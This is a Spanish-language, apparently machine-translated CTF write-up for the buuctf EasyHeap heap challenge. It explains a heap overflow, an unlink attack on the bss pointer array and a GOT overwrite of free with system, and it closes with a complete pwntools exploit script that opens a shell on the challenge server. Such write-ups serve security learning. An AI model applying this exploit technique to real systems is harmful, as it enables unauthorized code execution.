buuctf [ZJCTF 2019] EasyHeap

Esta pregunta tiene solo tres partes principales: agregar, editar y eliminar. No hay parte de mostrar de la
Inserte la descripción de la imagen aquí
función create_heap. El puntero de fragmento se almacena en la matriz heaparray del segmento bss.

Inserte la descripción de la imagen aquí
función edit_heap, tenga en cuenta que la longitud de los datos ingresados ​​aquí puede ser establecida por usted mismo, puede desbordar la
Inserte la descripción de la imagen aquí
función delete_heap a voluntad.
Además, también existe una función l33t:
Inserte la descripción de la imagen aquí
en el programa, puede ejecutar esta función siempre que cumpla con ciertas condiciones Sí, supongo que esta función puede estar disponible durante la competencia [ZJCTF 2019], pero no está disponible en buu ahora y el directorio de archivos de la bandera es incorrecto. Sin embargo, podemos usar esta función del sistema.
Aquí uso desvincular

add(0x100,'aaaa')
add(0x20,'bbbb')
add(0x80,'cccc')

Crea tres trozos

payload=p64(0)+p64(0x21)+p64(ptr-0x18)+p64(ptr-0x10)
payload+=p64(0x20)+p64(0x90)
edit(1,len(payload),payload)

Diseñe los datos de fragmentos falsos, modifique el encabezado de chunk2, ptr es la dirección de almacenamiento del puntero de chunk1

delete(2)

desvincular, realizar el control de los datos en la matriz heaparray del segmento bss

payload=p64(0)+p64(0)+p64(free_got)
payload+=p64(ptr-0x18)+p64(ptr+0x10)+"/bin/sh"
edit(1,len(payload),payload)
edit(0,8,p64(system_plt))
delete(2)

Modifique el puntero chunk0 a free_got, escriba "/ bin / sh" en el segmento bss, modifique el puntero chunk2 para que apunte a "/ bin / sh", y luego edite chunk0, porque el puntero chunk0 se ha cambiado a free_got, ahora modifíquelo Es free_got, modifíquelo a la dirección plt de la función del sistema. En
este momento, cuando se ejecuta la operación de free (chunk2), es equivalente a ejecutar el sistema ("/ bin / sh")

Después de terminar esta pregunta, miré el wp de otras personas y descubrí que muchas personas usan la tecnología de la casa del espíritu para controlar el puntero en el contenedor rápido y forjar un fragmento falso cerca de la matriz heaparray en el segmento bss para controlar el heaparray. Datos
Mi exp completa:

from pwn import *
sh=remote("node3.buuoj.cn",26189)
elf=ELF("./easyheap")
free_got=elf.got['free']
system_plt=elf.plt['system']
context.log_level='debug'
ptr=0x6020e8
def add(size,content):
    sh.recvuntil("Your choice :")
    sh.sendline('1')
    sh.recvuntil("Size of Heap : ")
    sh.sendline(str(size))
    sh.recvuntil("Content of heap:")
    sh.sendline(content)

def edit(idx, size, content):
    sh.recvuntil("Your choice :")
    sh.sendline('2')
    sh.recvuntil("Index :")
    sh.sendline(str(idx))
    sh.recvuntil("Size of Heap : ")
    sh.sendline(str(size))
    sh.recvuntil("Content of heap : ")
    sh.sendline(content)

def delete(idx):
    sh.recvuntil("Your choice :")
    sh.sendline('3')
    sh.recvuntil("Index :")
    sh.sendline(str(idx))

add(0x100,'aaaa')
add(0x20,'bbbb')
add(0x80,'cccc')

payload=p64(0)+p64(0x21)+p64(ptr-0x18)+p64(ptr-0x10)
payload+=p64(0x20)+p64(0x90)
edit(1,len(payload),payload)

delete(2)

payload=p64(0)+p64(0)+p64(free_got)
payload+=p64(ptr-0x18)+p64(ptr+0x10)+"/bin/sh"
edit(1,len(payload),payload)
edit(0,8,p64(system_plt))
delete(2)
sh.interactive()

Supongo que te gusta

Origin blog.csdn.net/weixin_45677731/article/details/108204244
Recomendado
Clasificación